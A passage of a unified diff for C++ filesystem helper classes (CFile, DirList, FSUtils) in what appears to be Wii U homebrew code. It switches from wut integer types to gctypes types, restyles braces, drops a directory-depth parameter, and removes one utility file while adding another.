openMode = O_TRUNC | O_CREAT | O_WRONLY;
|
openMode = O_WRONLY;
|
||||||
break;
|
break;
|
||||||
case ReadWrite: // file must exist
|
case ReadWrite:
|
||||||
openMode = O_RDWR;
|
openMode = O_RDWR;
|
||||||
break;
|
break;
|
||||||
case Append: // append to file, file will be created if missing. write only
|
case Append:
|
||||||
openMode = O_CREAT | O_APPEND | O_WRONLY;
|
openMode = O_APPEND | O_WRONLY;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -64,7 +65,8 @@ int32_t CFile::open(const std::string & filepath, eOpenTypes mode) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t CFile::open(const uint8_t * mem, int32_t size) {
|
int CFile::open(const u8 * mem, int size)
|
||||||
|
{
|
||||||
this->close();
|
this->close();
|
||||||
|
|
||||||
mem_file = mem;
|
mem_file = mem;
|
||||||
@ -73,7 +75,8 @@ int32_t CFile::open(const uint8_t * mem, int32_t size) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFile::close() {
|
void CFile::close()
|
||||||
|
{
|
||||||
if(iFd >= 0)
|
if(iFd >= 0)
|
||||||
::close(iFd);
|
::close(iFd);
|
||||||
|
|
||||||
@ -83,23 +86,26 @@ void CFile::close() {
|
|||||||
pos = 0;
|
pos = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t CFile::read(uint8_t * ptr, size_t size) {
|
int CFile::read(u8 * ptr, size_t size)
|
||||||
if(iFd >= 0) {
|
{
|
||||||
int32_t ret = ::read(iFd, ptr,size);
|
if(iFd >= 0)
|
||||||
|
{
|
||||||
|
int ret = ::read(iFd, ptr,size);
|
||||||
if(ret > 0)
|
if(ret > 0)
|
||||||
pos += ret;
|
pos += ret;
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t readsize = size;
|
int readsize = size;
|
||||||
|
|
||||||
if(readsize > (int64_t) (filesize-pos))
|
if(readsize > (s64) (filesize-pos))
|
||||||
readsize = filesize-pos;
|
readsize = filesize-pos;
|
||||||
|
|
||||||
if(readsize <= 0)
|
if(readsize <= 0)
|
||||||
return readsize;
|
return readsize;
|
||||||
|
|
||||||
if(mem_file != NULL) {
|
if(mem_file != NULL)
|
||||||
|
{
|
||||||
memcpy(ptr, mem_file+pos, readsize);
|
memcpy(ptr, mem_file+pos, readsize);
|
||||||
pos += readsize;
|
pos += readsize;
|
||||||
return readsize;
|
return readsize;
|
||||||
@ -108,11 +114,14 @@ int32_t CFile::read(uint8_t * ptr, size_t size) {
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t CFile::write(const uint8_t * ptr, size_t size) {
|
int CFile::write(const u8 * ptr, size_t size)
|
||||||
if(iFd >= 0) {
|
{
|
||||||
|
if(iFd >= 0)
|
||||||
|
{
|
||||||
size_t done = 0;
|
size_t done = 0;
|
||||||
while(done < size) {
|
while(done < size)
|
||||||
int32_t ret = ::write(iFd, ptr, size - done);
|
{
|
||||||
|
int ret = ::write(iFd, ptr, size - done);
|
||||||
if(ret <= 0)
|
if(ret <= 0)
|
||||||
return ret;
|
return ret;
|
||||||
|
|
||||||
@ -126,29 +135,39 @@ int32_t CFile::write(const uint8_t * ptr, size_t size) {
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t CFile::seek(long int offset, int32_t origin) {
|
int CFile::seek(long int offset, int origin)
|
||||||
int32_t ret = 0;
|
{
|
||||||
int64_t newPos = pos;
|
int ret = 0;
|
||||||
|
s64 newPos = pos;
|
||||||
|
|
||||||
if(origin == SEEK_SET) {
|
if(origin == SEEK_SET)
|
||||||
|
{
|
||||||
newPos = offset;
|
newPos = offset;
|
||||||
} else if(origin == SEEK_CUR) {
|
}
|
||||||
|
else if(origin == SEEK_CUR)
|
||||||
|
{
|
||||||
newPos += offset;
|
newPos += offset;
|
||||||
} else if(origin == SEEK_END) {
|
}
|
||||||
|
else if(origin == SEEK_END)
|
||||||
|
{
|
||||||
newPos = filesize+offset;
|
newPos = filesize+offset;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(newPos < 0) {
|
if(newPos < 0)
|
||||||
|
{
|
||||||
pos = 0;
|
pos = 0;
|
||||||
} else {
|
}
|
||||||
|
else {
|
||||||
pos = newPos;
|
pos = newPos;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(iFd >= 0)
|
if(iFd >= 0)
|
||||||
ret = ::lseek(iFd, pos, SEEK_SET);
|
ret = ::lseek(iFd, pos, SEEK_SET);
|
||||||
|
|
||||||
if(mem_file != NULL) {
|
if(mem_file != NULL)
|
||||||
if(pos > filesize) {
|
{
|
||||||
|
if(pos > filesize)
|
||||||
|
{
|
||||||
pos = filesize;
|
pos = filesize;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -156,18 +175,21 @@ int32_t CFile::seek(long int offset, int32_t origin) {
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t CFile::fwrite(const char *format, ...) {
|
int CFile::fwrite(const char *format, ...)
|
||||||
char tmp[512];
|
{
|
||||||
tmp[0] = 0;
|
int result = -1;
|
||||||
int32_t result = -1;
|
char * tmp = NULL;
|
||||||
|
|
||||||
va_list va;
|
va_list va;
|
||||||
va_start(va, format);
|
va_start(va, format);
|
||||||
if((vsprintf(tmp, format, va) >= 0)) {
|
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
||||||
result = this->write((uint8_t *)tmp, strlen(tmp));
|
{
|
||||||
|
result = this->write((u8 *)tmp, strlen(tmp));
|
||||||
}
|
}
|
||||||
va_end(va);
|
va_end(va);
|
||||||
|
|
||||||
|
if(tmp)
|
||||||
|
free(tmp);
|
||||||
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
@ -4,13 +4,15 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <fcntl.h>
|
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <wut_types.h>
|
#include <fcntl.h>
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
class CFile {
|
class CFile
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
enum eOpenTypes {
|
enum eOpenTypes
|
||||||
|
{
|
||||||
ReadOnly,
|
ReadOnly,
|
||||||
WriteOnly,
|
WriteOnly,
|
||||||
ReadWrite,
|
ReadWrite,
|
||||||
@ -19,13 +21,13 @@ public:
|
|||||||
|
|
||||||
CFile();
|
CFile();
|
||||||
CFile(const std::string & filepath, eOpenTypes mode);
|
CFile(const std::string & filepath, eOpenTypes mode);
|
||||||
CFile(const uint8_t * memory, int32_t memsize);
|
CFile(const u8 * memory, int memsize);
|
||||||
virtual ~CFile();
|
virtual ~CFile();
|
||||||
|
|
||||||
int32_t open(const std::string & filepath, eOpenTypes mode);
|
int open(const std::string & filepath, eOpenTypes mode);
|
||||||
int32_t open(const uint8_t * memory, int32_t memsize);
|
int open(const u8 * memory, int memsize);
|
||||||
|
|
||||||
BOOL isOpen() const {
|
bool isOpen() const {
|
||||||
if(iFd >= 0)
|
if(iFd >= 0)
|
||||||
return true;
|
return true;
|
||||||
|
|
||||||
@ -37,25 +39,19 @@ public:
|
|||||||
|
|
||||||
void close();
|
void close();
|
||||||
|
|
||||||
int32_t read(uint8_t * ptr, size_t size);
|
int read(u8 * ptr, size_t size);
|
||||||
int32_t write(const uint8_t * ptr, size_t size);
|
int write(const u8 * ptr, size_t size);
|
||||||
int32_t fwrite(const char *format, ...);
|
int fwrite(const char *format, ...);
|
||||||
int32_t seek(long int offset, int32_t origin);
|
int seek(long int offset, int origin);
|
||||||
uint64_t tell() {
|
u64 tell() { return pos; };
|
||||||
return pos;
|
u64 size() { return filesize; };
|
||||||
};
|
void rewind() { this->seek(0, SEEK_SET); };
|
||||||
uint64_t size() {
|
|
||||||
return filesize;
|
|
||||||
};
|
|
||||||
void rewind() {
|
|
||||||
this->seek(0, SEEK_SET);
|
|
||||||
};
|
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
int32_t iFd;
|
int iFd;
|
||||||
const uint8_t * mem_file;
|
const u8 * mem_file;
|
||||||
uint64_t filesize;
|
u64 filesize;
|
||||||
uint64_t pos;
|
u64 pos;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
@ -28,56 +28,52 @@
|
|||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <strings.h>
|
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/dirent.h>
|
#include <sys/dirent.h>
|
||||||
|
|
||||||
#include <fs/DirList.h>
|
#include "DirList.h"
|
||||||
#include <utils/StringTools.h>
|
#include "utils/StringTools.h"
|
||||||
|
|
||||||
DirList::DirList() {
|
DirList::DirList()
|
||||||
|
{
|
||||||
Flags = 0;
|
Flags = 0;
|
||||||
Filter = 0;
|
Filter = 0;
|
||||||
Depth = 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
DirList::DirList(const std::string & path, const char *filter, uint32_t flags, uint32_t maxDepth) {
|
DirList::DirList(const std::string & path, const char *filter, u32 flags)
|
||||||
this->LoadPath(path, filter, flags, maxDepth);
|
{
|
||||||
|
this->LoadPath(path, filter, flags);
|
||||||
this->SortList();
|
this->SortList();
|
||||||
}
|
}
|
||||||
|
|
||||||
DirList::~DirList() {
|
DirList::~DirList()
|
||||||
|
{
|
||||||
ClearList();
|
ClearList();
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL DirList::LoadPath(const std::string & folder, const char *filter, uint32_t flags, uint32_t maxDepth) {
|
bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags)
|
||||||
if(folder.empty())
|
{
|
||||||
return false;
|
if(folder.empty()) return false;
|
||||||
|
|
||||||
Flags = flags;
|
Flags = flags;
|
||||||
Filter = filter;
|
Filter = filter;
|
||||||
Depth = maxDepth;
|
|
||||||
|
|
||||||
std::string folderpath(folder);
|
std::string folderpath(folder);
|
||||||
uint32_t length = folderpath.size();
|
u32 length = folderpath.size();
|
||||||
|
|
||||||
//! clear path of double slashes
|
//! clear path of double slashes
|
||||||
StringTools::RemoveDoubleSlashs(folderpath);
|
RemoveDoubleSlashs(folderpath);
|
||||||
|
|
||||||
//! remove last slash if exists
|
//! remove last slash if exists
|
||||||
if(length > 0 && folderpath[length-1] == '/')
|
if(length > 0 && folderpath[length-1] == '/')
|
||||||
folderpath.erase(length-1);
|
folderpath.erase(length-1);
|
||||||
|
|
||||||
//! add root slash if missing
|
|
||||||
if(folderpath.find('/') == std::string::npos) {
|
|
||||||
folderpath += '/';
|
|
||||||
}
|
|
||||||
|
|
||||||
return InternalLoadPath(folderpath);
|
return InternalLoadPath(folderpath);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL DirList::InternalLoadPath(std::string &folderpath) {
|
bool DirList::InternalLoadPath(std::string &folderpath)
|
||||||
|
{
|
||||||
if(folderpath.size() < 3)
|
if(folderpath.size() < 3)
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
@ -88,41 +84,45 @@ BOOL DirList::InternalLoadPath(std::string &folderpath) {
|
|||||||
if (dir == NULL)
|
if (dir == NULL)
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
while ((dirent = readdir(dir)) != 0) {
|
while ((dirent = readdir(dir)) != 0)
|
||||||
BOOL isDir = dirent->d_type & DT_DIR;
|
{
|
||||||
|
bool isDir = dirent->d_type & DT_DIR;
|
||||||
const char *filename = dirent->d_name;
|
const char *filename = dirent->d_name;
|
||||||
|
|
||||||
if(isDir) {
|
if(isDir)
|
||||||
|
{
|
||||||
if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0)
|
if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0)
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
if((Flags & CheckSubfolders) && (Depth > 0)) {
|
if(Flags & CheckSubfolders)
|
||||||
int32_t length = folderpath.size();
|
{
|
||||||
if(length > 2 && folderpath[length-1] != '/') {
|
int length = folderpath.size();
|
||||||
|
if(length > 2 && folderpath[length-1] != '/')
|
||||||
folderpath += '/';
|
folderpath += '/';
|
||||||
}
|
|
||||||
folderpath += filename;
|
folderpath += filename;
|
||||||
|
|
||||||
Depth--;
|
|
||||||
InternalLoadPath(folderpath);
|
InternalLoadPath(folderpath);
|
||||||
folderpath.erase(length);
|
folderpath.erase(length);
|
||||||
Depth++;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if(!(Flags & Dirs))
|
if(!(Flags & Dirs))
|
||||||
continue;
|
continue;
|
||||||
} else if(!(Flags & Files)) {
|
}
|
||||||
|
else if(!(Flags & Files))
|
||||||
|
{
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(Filter) {
|
if(Filter)
|
||||||
|
{
|
||||||
char * fileext = strrchr(filename, '.');
|
char * fileext = strrchr(filename, '.');
|
||||||
if(!fileext)
|
if(!fileext)
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
if(StringTools::strtokcmp(fileext, Filter, ",") == 0)
|
if(strtokcmp(fileext, Filter, ",") == 0)
|
||||||
AddEntrie(folderpath, filename, isDir);
|
AddEntrie(folderpath, filename, isDir);
|
||||||
} else {
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
AddEntrie(folderpath, filename, isDir);
|
AddEntrie(folderpath, filename, isDir);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -131,16 +131,18 @@ BOOL DirList::InternalLoadPath(std::string &folderpath) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void DirList::AddEntrie(const std::string &filepath, const char * filename, BOOL isDir) {
|
void DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir)
|
||||||
|
{
|
||||||
if(!filename)
|
if(!filename)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
int32_t pos = FileInfo.size();
|
int pos = FileInfo.size();
|
||||||
|
|
||||||
FileInfo.resize(pos+1);
|
FileInfo.resize(pos+1);
|
||||||
|
|
||||||
FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);
|
FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);
|
||||||
if(!FileInfo[pos].FilePath) {
|
if(!FileInfo[pos].FilePath)
|
||||||
|
{
|
||||||
FileInfo.resize(pos);
|
FileInfo.resize(pos);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@ -149,35 +151,33 @@ void DirList::AddEntrie(const std::string &filepath, const char * filename, BOOL
|
|||||||
FileInfo[pos].isDir = isDir;
|
FileInfo[pos].isDir = isDir;
|
||||||
}
|
}
|
||||||
|
|
||||||
void DirList::ClearList() {
|
void DirList::ClearList()
|
||||||
for(uint32_t i = 0; i < FileInfo.size(); ++i) {
|
{
|
||||||
if(FileInfo[i].FilePath) {
|
for(u32 i = 0; i < FileInfo.size(); ++i)
|
||||||
|
{
|
||||||
|
if(FileInfo[i].FilePath)
|
||||||
free(FileInfo[i].FilePath);
|
free(FileInfo[i].FilePath);
|
||||||
FileInfo[i].FilePath = NULL;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
FileInfo.clear();
|
FileInfo.clear();
|
||||||
std::vector<DirEntry>().swap(FileInfo);
|
std::vector<DirEntry>().swap(FileInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
const char * DirList::GetFilename(int32_t ind) const {
|
const char * DirList::GetFilename(int ind) const
|
||||||
|
{
|
||||||
if (!valid(ind))
|
if (!valid(ind))
|
||||||
return "";
|
return "";
|
||||||
|
|
||||||
return StringTools::FullpathToFilename(FileInfo[ind].FilePath);
|
return FullpathToFilename(FileInfo[ind].FilePath);
|
||||||
}
|
}
|
||||||
|
|
||||||
static BOOL SortCallback(const DirEntry & f1, const DirEntry & f2) {
|
static bool SortCallback(const DirEntry & f1, const DirEntry & f2)
|
||||||
if(f1.isDir && !(f2.isDir))
|
{
|
||||||
return true;
|
if(f1.isDir && !(f2.isDir)) return true;
|
||||||
if(!(f1.isDir) && f2.isDir)
|
if(!(f1.isDir) && f2.isDir) return false;
|
||||||
return false;
|
|
||||||
|
|
||||||
if(f1.FilePath && !f2.FilePath)
|
if(f1.FilePath && !f2.FilePath) return true;
|
||||||
return true;
|
if(!f1.FilePath) return false;
|
||||||
if(!f1.FilePath)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
if(strcasecmp(f1.FilePath, f2.FilePath) > 0)
|
if(strcasecmp(f1.FilePath, f2.FilePath) > 0)
|
||||||
return false;
|
return false;
|
||||||
@ -185,17 +185,20 @@ static BOOL SortCallback(const DirEntry & f1, const DirEntry & f2) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void DirList::SortList() {
|
void DirList::SortList()
|
||||||
|
{
|
||||||
if(FileInfo.size() > 1)
|
if(FileInfo.size() > 1)
|
||||||
std::sort(FileInfo.begin(), FileInfo.end(), SortCallback);
|
std::sort(FileInfo.begin(), FileInfo.end(), SortCallback);
|
||||||
}
|
}
|
||||||
|
|
||||||
void DirList::SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b)) {
|
void DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b))
|
||||||
|
{
|
||||||
if(FileInfo.size() > 1)
|
if(FileInfo.size() > 1)
|
||||||
std::sort(FileInfo.begin(), FileInfo.end(), SortFunc);
|
std::sort(FileInfo.begin(), FileInfo.end(), SortFunc);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint64_t DirList::GetFilesize(int32_t index) const {
|
u64 DirList::GetFilesize(int index) const
|
||||||
|
{
|
||||||
struct stat st;
|
struct stat st;
|
||||||
const char *path = GetFilepath(index);
|
const char *path = GetFilepath(index);
|
||||||
|
|
||||||
@ -205,11 +208,13 @@ uint64_t DirList::GetFilesize(int32_t index) const {
|
|||||||
return st.st_size;
|
return st.st_size;
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t DirList::GetFileIndex(const char *filename) const {
|
int DirList::GetFileIndex(const char *filename) const
|
||||||
|
{
|
||||||
if(!filename)
|
if(!filename)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
||||||
for (uint32_t i = 0; i < FileInfo.size(); ++i) {
|
for (u32 i = 0; i < FileInfo.size(); ++i)
|
||||||
|
{
|
||||||
if (strcasecmp(GetFilename(i), filename) == 0)
|
if (strcasecmp(GetFilename(i), filename) == 0)
|
||||||
return i;
|
return i;
|
||||||
}
|
}
|
||||||
|
@ -29,76 +29,65 @@
|
|||||||
|
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <wut_types.h>
|
#include <gctypes.h>
|
||||||
|
|
||||||
typedef struct {
|
typedef struct
|
||||||
|
{
|
||||||
char * FilePath;
|
char * FilePath;
|
||||||
BOOL isDir;
|
bool isDir;
|
||||||
} DirEntry;
|
} DirEntry;
|
||||||
|
|
||||||
class DirList {
|
class DirList
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
//!Constructor
|
//!Constructor
|
||||||
DirList(void);
|
DirList(void);
|
||||||
//!\param path Path from where to load the filelist of all files
|
//!\param path Path from where to load the filelist of all files
|
||||||
//!\param filter A fileext that needs to be filtered
|
//!\param filter A fileext that needs to be filtered
|
||||||
//!\param flags search/filter flags from the enum
|
//!\param flags search/filter flags from the enum
|
||||||
DirList(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff);
|
DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs);
|
||||||
//!Destructor
|
//!Destructor
|
||||||
virtual ~DirList();
|
virtual ~DirList();
|
||||||
//! Load all the files from a directory
|
//! Load all the files from a directory
|
||||||
BOOL LoadPath(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff);
|
bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs);
|
||||||
//! Get a filename of the list
|
//! Get a filename of the list
|
||||||
//!\param list index
|
//!\param list index
|
||||||
const char * GetFilename(int32_t index) const;
|
const char * GetFilename(int index) const;
|
||||||
//! Get the a filepath of the list
|
//! Get the a filepath of the list
|
||||||
//!\param list index
|
//!\param list index
|
||||||
const char *GetFilepath(int32_t index) const {
|
const char *GetFilepath(int index) const { if (!valid(index)) return ""; else return FileInfo[index].FilePath; }
|
||||||
if (!valid(index))
|
|
||||||
return "";
|
|
||||||
else
|
|
||||||
return FileInfo[index].FilePath;
|
|
||||||
}
|
|
||||||
//! Get the a filesize of the list
|
//! Get the a filesize of the list
|
||||||
//!\param list index
|
//!\param list index
|
||||||
uint64_t GetFilesize(int32_t index) const;
|
u64 GetFilesize(int index) const;
|
||||||
//! Is index a dir or a file
|
//! Is index a dir or a file
|
||||||
//!\param list index
|
//!\param list index
|
||||||
BOOL IsDir(int32_t index) const {
|
bool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; };
|
||||||
if(!valid(index))
|
|
||||||
return false;
|
|
||||||
return FileInfo[index].isDir;
|
|
||||||
};
|
|
||||||
//! Get the filecount of the whole list
|
//! Get the filecount of the whole list
|
||||||
int32_t GetFilecount() const {
|
int GetFilecount() const { return FileInfo.size(); };
|
||||||
return FileInfo.size();
|
|
||||||
};
|
|
||||||
//! Sort list by filepath
|
//! Sort list by filepath
|
||||||
void SortList();
|
void SortList();
|
||||||
//! Custom sort command for custom sort functions definitions
|
//! Custom sort command for custom sort functions definitions
|
||||||
void SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b));
|
void SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b));
|
||||||
//! Get the index of the specified filename
|
//! Get the index of the specified filename
|
||||||
int32_t GetFileIndex(const char *filename) const;
|
int GetFileIndex(const char *filename) const;
|
||||||
//! Enum for search/filter flags
|
//! Enum for search/filter flags
|
||||||
enum {
|
enum
|
||||||
|
{
|
||||||
Files = 0x01,
|
Files = 0x01,
|
||||||
Dirs = 0x02,
|
Dirs = 0x02,
|
||||||
CheckSubfolders = 0x08,
|
CheckSubfolders = 0x08,
|
||||||
};
|
};
|
||||||
protected:
|
protected:
|
||||||
// Internal parser
|
// Internal parser
|
||||||
BOOL InternalLoadPath(std::string &path);
|
bool InternalLoadPath(std::string &path);
|
||||||
//!Add a list entrie
|
//!Add a list entrie
|
||||||
void AddEntrie(const std::string &filepath, const char * filename, BOOL isDir);
|
void AddEntrie(const std::string &filepath, const char * filename, bool isDir);
|
||||||
//! Clear the list
|
//! Clear the list
|
||||||
void ClearList();
|
void ClearList();
|
||||||
//! Check if valid pos is requested
|
//! Check if valid pos is requested
|
||||||
inline BOOL valid(uint32_t pos) const {
|
inline bool valid(u32 pos) const { return (pos < FileInfo.size()); };
|
||||||
return (pos < FileInfo.size());
|
|
||||||
};
|
|
||||||
|
|
||||||
uint32_t Flags;
|
u32 Flags;
|
||||||
uint32_t Depth;
|
|
||||||
const char *Filter;
|
const char *Filter;
|
||||||
std::vector<DirEntry> FileInfo;
|
std::vector<DirEntry> FileInfo;
|
||||||
};
|
};
|
||||||
|
@ -1,142 +0,0 @@
|
|||||||
#include <malloc.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include "fs/FSUtils.h"
|
|
||||||
#include "fs/CFile.hpp"
|
|
||||||
#include "utils/logger.h"
|
|
||||||
|
|
||||||
int32_t FSUtils::LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size) {
|
|
||||||
//! always initialze input
|
|
||||||
*inbuffer = NULL;
|
|
||||||
if(size)
|
|
||||||
*size = 0;
|
|
||||||
|
|
||||||
int32_t iFd = open(filepath, O_RDONLY);
|
|
||||||
if (iFd < 0)
|
|
||||||
return -1;
|
|
||||||
|
|
||||||
uint32_t filesize = lseek(iFd, 0, SEEK_END);
|
|
||||||
lseek(iFd, 0, SEEK_SET);
|
|
||||||
|
|
||||||
uint8_t *buffer = (uint8_t *) malloc(filesize);
|
|
||||||
if (buffer == NULL) {
|
|
||||||
close(iFd);
|
|
||||||
return -2;
|
|
||||||
}
|
|
||||||
|
|
||||||
uint32_t blocksize = 0x4000;
|
|
||||||
uint32_t done = 0;
|
|
||||||
int32_t readBytes = 0;
|
|
||||||
|
|
||||||
while(done < filesize) {
|
|
||||||
if(done + blocksize > filesize) {
|
|
||||||
blocksize = filesize - done;
|
|
||||||
}
|
|
||||||
readBytes = read(iFd, buffer + done, blocksize);
|
|
||||||
if(readBytes <= 0)
|
|
||||||
break;
|
|
||||||
done += readBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
close(iFd);
|
|
||||||
|
|
||||||
if (done != filesize) {
|
|
||||||
free(buffer);
|
|
||||||
buffer = NULL;
|
|
||||||
return -3;
|
|
||||||
}
|
|
||||||
|
|
||||||
*inbuffer = buffer;
|
|
||||||
|
|
||||||
//! sign is optional input
|
|
||||||
if(size) {
|
|
||||||
*size = filesize;
|
|
||||||
}
|
|
||||||
|
|
||||||
return filesize;
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t FSUtils::CheckFile(const char * filepath) {
|
|
||||||
if(!filepath)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
struct stat filestat;
|
|
||||||
|
|
||||||
char dirnoslash[strlen(filepath)+2];
|
|
||||||
snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
|
|
||||||
|
|
||||||
while(dirnoslash[strlen(dirnoslash)-1] == '/')
|
|
||||||
dirnoslash[strlen(dirnoslash)-1] = '\0';
|
|
||||||
|
|
||||||
char * notRoot = strrchr(dirnoslash, '/');
|
|
||||||
if(!notRoot) {
|
|
||||||
strcat(dirnoslash, "/");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (stat(dirnoslash, &filestat) == 0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t FSUtils::CreateSubfolder(const char * fullpath) {
|
|
||||||
if(!fullpath)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
int32_t result = 0;
|
|
||||||
|
|
||||||
char dirnoslash[strlen(fullpath)+1];
|
|
||||||
strcpy(dirnoslash, fullpath);
|
|
||||||
|
|
||||||
int32_t pos = strlen(dirnoslash)-1;
|
|
||||||
while(dirnoslash[pos] == '/') {
|
|
||||||
dirnoslash[pos] = '\0';
|
|
||||||
pos--;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(CheckFile(dirnoslash)) {
|
|
||||||
return 1;
|
|
||||||
} else {
|
|
||||||
char parentpath[strlen(dirnoslash)+2];
|
|
||||||
strcpy(parentpath, dirnoslash);
|
|
||||||
char * ptr = strrchr(parentpath, '/');
|
|
||||||
|
|
||||||
if(!ptr) {
|
|
||||||
//!Device root directory (must be with '/')
|
|
||||||
strcat(parentpath, "/");
|
|
||||||
struct stat filestat;
|
|
||||||
if (stat(parentpath, &filestat) == 0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
ptr++;
|
|
||||||
ptr[0] = '\0';
|
|
||||||
|
|
||||||
result = CreateSubfolder(parentpath);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!result)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
if (mkdir(dirnoslash, 0777) == -1) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t FSUtils::saveBufferToFile(const char * path, void * buffer, uint32_t size) {
|
|
||||||
CFile file(path, CFile::WriteOnly);
|
|
||||||
if (!file.isOpen()) {
|
|
||||||
DEBUG_FUNCTION_LINE("Failed to open %s\n",path);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
int32_t written = file.write((const uint8_t*) buffer, size);
|
|
||||||
file.close();
|
|
||||||
return written;
|
|
||||||
}
|
|
||||||
|
|
@ -1,16 +0,0 @@
|
|||||||
#ifndef __FS_UTILS_H_
|
|
||||||
#define __FS_UTILS_H_
|
|
||||||
|
|
||||||
#include <wut_types.h>
|
|
||||||
|
|
||||||
class FSUtils {
|
|
||||||
public:
|
|
||||||
static int32_t LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size);
|
|
||||||
|
|
||||||
//! todo: C++ class
|
|
||||||
static int32_t CreateSubfolder(const char * fullpath);
|
|
||||||
static int32_t CheckFile(const char * filepath);
|
|
||||||
static int32_t saveBufferToFile(const char * path, void * buffer, uint32_t size);
|
|
||||||
};
|
|
||||||
|
|
||||||
#endif // __FS_UTILS_H_
|
|
182
src/fs/fs_utils.c
Normal file
182
src/fs/fs_utils.c
Normal file
@ -0,0 +1,182 @@
|
|||||||
|
#include <malloc.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include "common/fs_defs.h"
|
||||||
|
#include "dynamic_libs/fs_functions.h"
|
||||||
|
|
||||||
|
|
||||||
|
int MountFS(void *pClient, void *pCmd, char **mount_path)
|
||||||
|
{
|
||||||
|
int result = -1;
|
||||||
|
|
||||||
|
void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE);
|
||||||
